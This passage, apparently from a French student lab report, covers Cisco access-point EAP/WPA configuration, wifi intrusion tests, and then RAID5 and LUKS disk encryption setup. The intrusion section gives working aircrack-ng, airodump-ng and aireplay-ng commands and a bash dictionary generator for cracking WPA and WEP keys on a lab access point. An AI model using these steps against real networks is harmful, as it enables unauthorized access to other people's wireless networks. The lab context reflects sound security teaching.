authentication open eap eap_group17
authentication network-eap eap_group17
authentication key-management wpa
Mbssid Guest-mode
end
conf t
int dot11radio0
Mbssid
ssid Hercule
encryption vlan 17 mode ciphers aes-ccm tkip
end
conf t
int dot11radio0.17
encapsulation dot1Q 17
bridge-group 17
end

5. Tests d'intrusion

5.3 Crackage de clé WPA

Afin de lancer le crackage de clé WPA sur le point d'accès cracotte07, nous avons besoin du package aircrack-ng que nous installons. Nous affichons ainsi nos interfaces avec la commande :

$ iwconfig

Nous lançons alors airmon-ng avec notre interface wifi pour la mettre en mode moniteur:

$ airmon-ng start wlp2s0

Nous affichons ensuite tout les point d'accés environnants en utilisant la commande :

$ airodump-ng  wlp2s0mon

Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :

$ airodump-ng -c 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlp2s0mon

Une fois les fichiers générés, nous les transférons sur une ZABETH. Avant de lancer le craquage, nous devons générer un dictionnaire contenant toutes les combinaisons possibles de 8 chiffres. Pour cela, nous réalisons le script bash suivant :

#!/bin/bash
charset=({0..9})
permute(){
  (($1 == 0)) && { echo "$2"; return; }
  for char in "${charset[@]}"
  do
    permute "$((${1} - 1 ))" "$2$char"
  done
}
permute "$1"

Que nous laçons en exécutant :

$ ./comb.sh 8 >> dictionnaire.txt

Le crack est effectué en lançant la commande :

$ aircrack-ng -a2 -b 04:DA:D2:9C:50:56  -w /path_to_file/dictionnaire.txt /path_to_file/*.cap

Nous récupérons la clé après quelques heures de calcul :

Crack groupe7.png

5.2 Cassage de clé WEP

Nous affichons ainsi nos interfaces avec la commande :

$ iwconfig

Nous lançons alors airmon-ng avec notre interface wifi pour la mettre en mode moniteur:

$ airmon-ng start wlx40a5ef012c92

Nous affichons ensuite tout les point d'accés environnants protégés en WEP en utilisant la commande :

$ airodump-ng --encrypt wep wlan0mon

Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :

$ airodump-ng --channel 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlan0mon

En parallèle, on simule une connexion au point d'accès pour récupérer le handshake :

$ aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:56 wlan0mon

On réalise le cassage :

$ aircrack-ng ./path_to_folder/cracotte07.cap


Cassagewep07.png

6. Réalisation

6.1 Sécurisation de données

Création de trois partitions LVM de 1Go sur Cordouan :

 lvcreate -L 1G -n /dev/virtual/hercule1 -v
 lvcreate -L 1G -n /dev/virtual/hercule2 -v
 lvcreate -L 1G -n /dev/virtual/hercule3 -v

Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes :

 'phy:/dev/virtual/hercule1,xvdc1,w',
 'phy:/dev/virtual/hercule2,xvdc2,w',
 'phy:/dev/virtual/hercule3,xvdc3,w'

Installation du paquetage mdadm pour réaliser le RAID5 logiciel :

 apt-get install mdadm

Création du RAID5 :

 mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3

On formate le RAID créé :

 mkfs -t ext4 /dev/md0

On monte le RAID dans notre VM :

 mount /dev/md0 /mnt 

On créé un fichier sur le RAID pour qu'il contienne des données. On ferme la VM et on lui retire la partition xvdc3 dans sa config. On relance la VM. Puis on essaye de remonter le RAID : En voulant remonter /dev/md0, un message nous indique que md0 n'existe pas. On lance alors la commande :

 cat /proc/mdstat

Et on s'aperçoit que notre RAID est toujours présent, cette fois n'ayant plus que deux disques, mais apparaît sous le nom md127. On monte alors ce derrnier :

 mount /dev/md127 /mnt

On retrouve alors bien le fichier créé initialement sur notre RAID. Lors de sa création, le fichier a été copié sur les 3 disques par le RAID. Ainsi, lorsque que nous avons supprimé un disque, cela n'a pas eu d'impact sur nos données.

Raidhercule.png

6.2 Cryptage de données

Dans notre cas, nous n'utilisons pas une carte SD. Nous créons cependant une partition de 1 Giga sur cordouan sur laquelle on travaillera :

$ lvcreate -L 1G -n /dev/virtual/hercule-crypt -v

Une fois cette action réalisée, et la partition intégrée au fichier de configuration de la machine virtuelle sous forme de volume, de nom xvdd1, nous récupérons les paquets lvm2 et cryptsetup. Lorsque la récupération est terminée, nous sécurisons la partition de la manière suivante :

$ cryptsetup luksFormat -c aes -h sha256 /dev/xvdd1

Cette commande permet de formater la partiton au type LUKS et chiffre en AES avec un algorithme de hashage SHA256. Nous choisissons une phrase de chiffrement.

Une fois la partition chiffrée, nous ouvrons un volume dans notre partition chiffrée :

$ cryptsetup luksOpen /dev/xvdd1 home

Nous la formatons en ext4 :

$ mkfs -t ext4 /dev/mapper/home

Enfin, nous montons la partition sous /mnt :

$ mount -t ext4 /dev/mapper/home /mnt

Nous y créons ensuite un fichier texte. La suite de cette partie, qui est d'échanger les cartes SD, n'est pas réalisable dans notre cas.